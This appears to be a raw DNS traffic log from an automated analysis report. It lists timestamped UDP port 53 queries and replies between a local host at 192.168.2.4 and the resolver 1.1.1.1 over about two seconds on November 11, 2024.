                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.167587042 CET5940153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.168981075 CET53570441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.169055939 CET53507361.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.171123981 CET53507621.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.171134949 CET53567091.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.172804117 CET53517741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.173579931 CET6205953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.173604012 CET53603441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.173614025 CET53517871.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.174901962 CET53570161.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.175412893 CET53497181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.178811073 CET53594011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.180166006 CET53529571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.180176973 CET53566091.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.181037903 CET53573361.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.181180954 CET5693453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.183873892 CET53620591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.183908939 CET6089453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.187874079 CET5982453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.188277960 CET5477353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.188277960 CET5460253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.188400984 CET53555241.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.188723087 CET53645011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.189265966 CET53503911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.190123081 CET53569341.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.192739964 CET53591571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.193103075 CET53608941.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.193850040 CET53629661.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.194812059 CET53559071.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.195058107 CET53497991.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.199069023 CET53547731.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.199450970 CET6010353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.200304031 CET5956053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.210052013 CET53595601.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.219274044 CET53598241.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.219522953 CET53546021.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.222254038 CET53601031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.260373116 CET5084953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.281279087 CET53508491.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.296416998 CET6095553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.305794954 CET5923453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.305794954 CET5118953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.305829048 CET53609551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306153059 CET6551253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306153059 CET5868953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306855917 CET5473153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306855917 CET5235253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307171106 CET5708053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307171106 CET6048253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307481050 CET5128353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307481050 CET6148653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.308574915 CET5895953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.308667898 CET6248653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.308981895 CET6346153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.309767962 CET5657253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.309767962 CET5960353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.310179949 CET5362453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.310717106 CET5437253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.310784101 CET5191953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.311846018 CET5890453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.315830946 CET53592341.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.315866947 CET5679153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.316116095 CET53586891.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.316152096 CET5657753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.316426992 CET53523521.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.317044973 CET53570801.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.317769051 CET53604821.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.318736076 CET53634611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.320287943 CET53543721.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.320343018 CET53512831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.320540905 CET6427053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.321177006 CET53589041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.321782112 CET5019953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.321782112 CET5704453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.322868109 CET53596031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323621988 CET5480353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323621988 CET5659053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323765039 CET6516053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323945045 CET5700153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.324089050 CET6044753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.324886084 CET53655121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.324925900 CET5642453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.326706886 CET53614861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.326742887 CET5426353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.328702927 CET6238653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.329245090 CET53565721.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.330367088 CET53642701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.330384016 CET53651601.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.331224918 CET53604471.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.331661940 CET53501991.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.333043098 CET53570441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.334167004 CET53570011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.337136030 CET53542631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.337765932 CET53511891.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.338196039 CET53623861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.338335037 CET53547311.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.338885069 CET53624861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.340017080 CET53589591.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.340974092 CET53536241.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.342135906 CET53519191.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.346982002 CET53567911.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.347718954 CET53565771.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.355331898 CET53564241.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.355519056 CET53548031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.515098095 CET53565901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.237385988 CET5984753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.239954948 CET6026753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.245110989 CET5667953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.245378971 CET5457453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.245938063 CET53598471.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.247407913 CET5752153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.250302076 CET53602671.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.252142906 CET5500553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.254949093 CET53566791.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.257847071 CET53575211.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.261533976 CET53550051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.262860060 CET5392353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.263595104 CET53545741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.277240038 CET5079353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.290318966 CET53507931.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.312124014 CET6044453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.312271118 CET5436153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.327104092 CET5523453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.327672958 CET5207053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.328181982 CET5896453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.328370094 CET6358953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.329107046 CET5851453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340126038 CET5445153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340305090 CET6437053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340951920 CET5722653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340951920 CET5556153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.341422081 CET5281453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354388952 CET4991053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354494095 CET5315753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354708910 CET5726353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354773045 CET5567853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354907990 CET5724153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355092049 CET5117253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355370045 CET6390453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355504036 CET5263953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355690956 CET5838853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355797052 CET5700853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355845928 CET5747453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356034994 CET5137853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356034994 CET5680753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356182098 CET6320453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356338978 CET5343653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356456995 CET5110753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356509924 CET6309753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356678009 CET6200053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356869936 CET6291253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356966019 CET5900353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357139111 CET6473353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357182026 CET5542353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357328892 CET5010953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357444048 CET5831053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357513905 CET5546753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357785940 CET5826853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357800007 CET5615053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.358176947 CET5337553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.358196974 CET6080553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.358403921 CET5575353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360245943 CET5230153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360410929 CET5119753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360536098 CET5345553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360646009 CET6176653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360831022 CET5429753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360831022 CET5964253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361047029 CET5277453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361085892 CET5841753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361249924 CET5497453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361474991 CET4925153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361766100 CET6431453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.362267971 CET6310953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.363571882 CET5178653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.374916077 CET5893953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.274106026 CET5392353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.305351019 CET5436153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.305351019 CET6044453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.320952892 CET5851453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.320952892 CET6358953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.320952892 CET5896453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.321017027 CET5207053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.321017027 CET5523453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336585045 CET5722653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336585045 CET5281453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336585045 CET5556153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336627960 CET6437053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336627960 CET5445153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.345802069 CET53539231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352248907 CET5315753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352248907 CET5178653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352330923 CET5615053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352365017 CET5700853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352365017 CET5831053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352397919 CET6390453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352397919 CET5263953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352510929 CET6310953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352550983 CET6176653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352550983 CET5119753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352588892 CET5230153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352588892 CET5838853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352642059 CET5542353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352642059 CET5900353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352677107 CET6291253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352677107 CET5345553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352705956 CET6200053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352705956 CET5110753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352746010 CET5343653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352746010 CET5497453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352782965 CET4925153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352782965 CET5277453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353010893 CET6431453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353038073 CET6309753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353038073 CET5841753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353074074 CET5575353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353074074 CET5429753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353112936 CET6080553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353112936 CET5964253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353132963 CET6473353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353132963 CET5337553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353174925 CET5826853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353174925 CET4991053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353209019 CET5117253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353209019 CET5546753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353243113 CET6320453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353243113 CET5724153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353282928 CET5010953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353283882 CET5680753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353297949 CET5567853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353414059 CET5726353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353426933 CET5137853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353426933 CET5747453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353955984 CET53499101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353969097 CET53544511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.353998899 CET53531571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354010105 CET53555611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354018927 CET53604441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354032040 CET53543611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354121923 CET53528141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354132891 CET53585141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354142904 CET53556781.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.354180098 CET53520701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.355345011 CET53511721.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.355355024 CET53572411.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.355395079 CET53572631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.356631041 CET53570081.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.357714891 CET53632041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.357727051 CET53511071.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358144045 CET53539231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358432055 CET53585141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358452082 CET53604441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358468056 CET53543611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358563900 CET53520701.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358575106 CET53572261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358583927 CET53528141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358844042 CET53555611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.358968019 CET53523011.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359006882 CET53544511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359018087 CET53513781.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359091997 CET53583101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359267950 CET53583101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359405994 CET53568071.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359416008 CET53570081.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359616041 CET53531571.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359627008 CET53557531.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359637976 CET53629121.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.359673977 CET53554671.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360146046 CET53608051.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360156059 CET53620001.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360187054 CET53639041.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360198021 CET53533751.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360277891 CET53582681.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360524893 CET53542971.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360707045 CET53534551.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.360779047 CET53584171.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361085892 CET53589391.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361238956 CET53574741.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361356974 CET53631091.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361417055 CET53643141.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361427069 CET53631091.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361491919 CET53589641.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.361502886 CET53589641.1.1.1192.168.2.4
